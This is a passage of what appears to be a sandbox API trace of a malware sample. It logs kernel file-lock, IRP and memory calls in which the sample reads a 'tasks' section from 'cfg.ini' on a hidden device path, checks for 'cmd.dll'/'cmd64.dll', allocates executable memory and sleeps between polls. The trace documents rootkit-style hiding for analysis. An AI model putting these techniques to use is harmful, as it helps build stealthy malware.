SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.587] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.587] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.587] IdePortDispatch () returned 0x103 [0120.587] KeWaitForMutexObject () returned 0x0 [0120.587] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.588] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.588] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.588] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.588] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.588] IdePortDispatch () returned 0x103 [0120.588] KeWaitForMutexObject () returned 0x0 [0120.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.588] KeLeaveCriticalRegion () [0120.588] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.588] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.588] KeEnterCriticalRegion () [0120.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.588] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.588] KeLeaveCriticalRegion () [0120.588] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.589] KeEnterCriticalRegion () [0120.589] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.589] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.589] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.589] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.589] KeLeaveCriticalRegion () [0120.589] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.589] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.589] KeEnterCriticalRegion () [0120.589] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.589] ExFreePoolWithTag (P=0xfffffa8003bbb010, Tag=0x0) [0120.589] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.589] KeLeaveCriticalRegion () [0120.589] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.589] ReleaseMutex (hMutex=0xf0) returned 1 [0120.589] Sleep (dwMilliseconds=0x927c0) [0120.603] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.603] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.603] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.603] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.603] KeEnterCriticalRegion () [0120.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.603] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.603] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.603] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.603] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.603] IdePortDispatch () returned 0x103 [0120.603] KeWaitForMutexObject () returned 0x0 [0120.603] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.603] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.603] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.603] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.603] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.603] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbadb0 [0120.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.603] KeLeaveCriticalRegion () [0120.603] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.604] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.604] KeEnterCriticalRegion () [0120.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.604] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.604] KeLeaveCriticalRegion () [0120.604] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.604] KeEnterCriticalRegion () [0120.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.604] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.604] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.604] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.604] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.604] IdePortDispatch () returned 0x103 [0120.604] KeWaitForMutexObject () returned 0x0 [0120.604] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.604] KeLeaveCriticalRegion () [0120.604] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.604] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.604] KeEnterCriticalRegion () [0120.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.604] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a9000 [0120.604] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.604] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.604] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.604] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.604] IdePortDispatch () returned 0x103 [0120.604] KeWaitForMutexObject () returned 0x0 [0120.605] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.605] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.605] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.605] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.605] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.605] IdePortDispatch () returned 0x103 [0120.605] KeWaitForMutexObject () returned 0x0 [0120.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.605] KeLeaveCriticalRegion () [0120.605] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.605] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.605] KeEnterCriticalRegion () [0120.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.605] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.605] KeLeaveCriticalRegion () [0120.605] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.605] KeEnterCriticalRegion () [0120.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.605] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.605] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbbe20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.606] KeLeaveCriticalRegion () [0120.606] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.606] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.606] KeEnterCriticalRegion () [0120.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.606] ExFreePoolWithTag (P=0xfffffa8003bbadb0, Tag=0x0) [0120.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.606] KeLeaveCriticalRegion () [0120.606] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.606] ReleaseMutex (hMutex=0xf0) returned 1 [0120.606] Sleep (dwMilliseconds=0x927c0) [0120.620] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.620] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.620] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.620] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.620] KeEnterCriticalRegion () [0120.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.620] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.620] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.620] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.620] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.620] IdePortDispatch () returned 0x103 [0120.620] KeWaitForMutexObject () returned 0x0 [0120.621] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.621] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.621] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.621] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.621] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.621] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb010 [0120.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.621] KeLeaveCriticalRegion () [0120.621] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.621] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.621] KeEnterCriticalRegion () [0120.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.621] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.621] KeLeaveCriticalRegion () [0120.621] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.621] KeEnterCriticalRegion () [0120.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.621] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.621] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.621] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.621] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.621] IdePortDispatch () returned 0x103 [0120.621] KeWaitForMutexObject () returned 0x0 [0120.621] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.621] KeLeaveCriticalRegion () [0120.621] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.621] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.621] KeEnterCriticalRegion () [0120.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.621] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ae000 [0120.621] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.622] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.622] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.622] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.622] IdePortDispatch () returned 0x103 [0120.623] KeWaitForMutexObject () returned 0x0 [0120.623] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.623] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.623] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.623] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.623] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.623] IdePortDispatch () returned 0x103 [0120.623] KeWaitForMutexObject () returned 0x0 [0120.623] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.623] KeLeaveCriticalRegion () [0120.623] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.624] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.624] KeEnterCriticalRegion () [0120.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.624] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.624] KeLeaveCriticalRegion () [0120.624] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.624] KeEnterCriticalRegion () [0120.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.624] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.624] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbbd80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.624] KeLeaveCriticalRegion () [0120.624] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.624] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.624] KeEnterCriticalRegion () [0120.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.624] ExFreePoolWithTag (P=0xfffffa8003bbb010, Tag=0x0) [0120.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.624] KeLeaveCriticalRegion () [0120.624] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.624] ReleaseMutex (hMutex=0xf0) returned 1 [0120.624] Sleep (dwMilliseconds=0x927c0) [0120.638] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.638] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.638] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.638] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.638] KeEnterCriticalRegion () [0120.638] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.638] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.638] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.638] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.638] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.638] IdePortDispatch () returned 0x103 [0120.638] KeWaitForMutexObject () returned 0x0 [0120.639] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.639] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.639] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.639] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.639] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.639] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba1b0 [0120.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.639] KeLeaveCriticalRegion () [0120.639] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.639] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.639] KeEnterCriticalRegion () [0120.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.639] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.639] KeLeaveCriticalRegion () [0120.639] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.639] KeEnterCriticalRegion () [0120.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.639] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.639] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.639] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.639] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.639] IdePortDispatch () returned 0x103 [0120.639] KeWaitForMutexObject () returned 0x0 [0120.639] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.639] KeLeaveCriticalRegion () [0120.639] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.639] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.639] KeEnterCriticalRegion () [0120.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.639] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b3000 [0120.639] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.639] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.639] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.639] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.640] IdePortDispatch () returned 0x103 [0120.640] KeWaitForMutexObject () returned 0x0 [0120.640] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.640] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.640] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.640] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.640] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.640] IdePortDispatch () returned 0x103 [0120.640] KeWaitForMutexObject () returned 0x0 [0120.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.640] KeLeaveCriticalRegion () [0120.640] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.640] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.641] KeEnterCriticalRegion () [0120.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.641] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.641] KeLeaveCriticalRegion () [0120.641] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.641] KeEnterCriticalRegion () [0120.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 